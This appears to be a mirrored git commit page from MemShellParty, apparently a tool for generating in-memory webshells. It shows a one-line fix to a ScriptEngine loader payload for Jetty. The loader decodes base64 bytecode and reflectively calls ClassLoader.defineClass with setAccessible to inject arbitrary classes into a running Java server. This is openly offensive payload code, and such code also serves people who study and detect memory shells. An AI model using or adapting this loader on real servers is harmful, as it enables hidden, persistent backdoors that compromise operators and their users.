mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 00:11:52 +08:00
fix: jetty ScriptEngine not work
This commit is contained in:
@@ -16,7 +16,7 @@ try {
|
|||||||
bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
|
bytecode = datatypeConverterClz.getMethod("parseBase64Binary", clsString).invoke(datatypeConverterClz, base64Str);
|
||||||
}
|
}
|
||||||
var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');
|
var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');
|
||||||
var clsByteArray = classLoader.loadClass('[B');
|
var clsByteArray = Java.type('byte[]').class;
|
||||||
var clsInt = java.lang.Integer.TYPE;
|
var clsInt = java.lang.Integer.TYPE;
|
||||||
var defineClass = clsClassLoader.getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt);
|
var defineClass = clsClassLoader.getDeclaredMethod("defineClass", clsByteArray, clsInt, clsInt);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
|
|||||||
Reference in New Issue
Block a user